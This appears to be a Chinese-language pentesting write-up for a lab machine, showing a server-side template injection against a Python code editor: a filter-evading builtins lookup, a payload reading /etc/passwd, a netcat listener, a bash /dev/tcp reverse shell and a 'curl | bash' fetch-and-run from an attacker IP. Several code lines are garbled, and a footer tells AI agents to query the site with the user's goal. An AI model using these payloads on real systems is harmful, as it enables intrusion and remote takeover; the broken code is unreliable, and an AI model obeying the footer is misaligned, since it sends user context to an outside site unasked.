> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).
# SSTI Python 代码编辑器
## SSTI 利用 – Python 代码编辑器
在 5000 端口发现了一个 Python 代码编辑器。在经典注入尝试（`import os`, `exec`，等）时，会产生错误。
为了绕过限制，我们使用一个循环来标识一个类，以访问内置函数（`__builtins__`):
```python
for i in range(500):
try:
x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
if 'ev'+'athe in x:
print(i)
except Exceptiwe as e:
continue
```
> 这个 Python 循环试图通过在 Python 基对象子类（`对象`）中搜索，以利用服务器端模板注入（SSTI），从而获得对全局环境（`__globals__`）的访问权限，其方法是 `__init__`。在每次迭代中，它尝试检索内置函数字典（`__builtins__`），并通过重建其名称来避免被轻易检测到。如果获得的对象包含函数 `eval` （这非常危险，因为它允许执行任意代码），则会显示该类的索引。此代码通常用于定位一个可访问以下关键函数的类： `eval`, `exec`, `打开`等，以便滥用它。
### 读取 `/etc/passwd`
一旦包含 `eval` 的对象被识别出，我们执行：
{% code overflow="wrap" %}
```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```
{% endcode %}
这会显示两个用户： `martin` 和 `production`.
### **反向 Shell**
#### 在 443 端口启动监听器：
```bash
nc -nvlp 443
```
#### 反向 shell 脚本：
创建一个 `index.html` 包含以下内容的文件：
{% code overflow="wrap" %}
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```
{% endcode %}
启动一个 Web 服务器：
```bash
python3 -m http.server 80
```
注入载荷：
{% code overflow="wrap" %}
```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.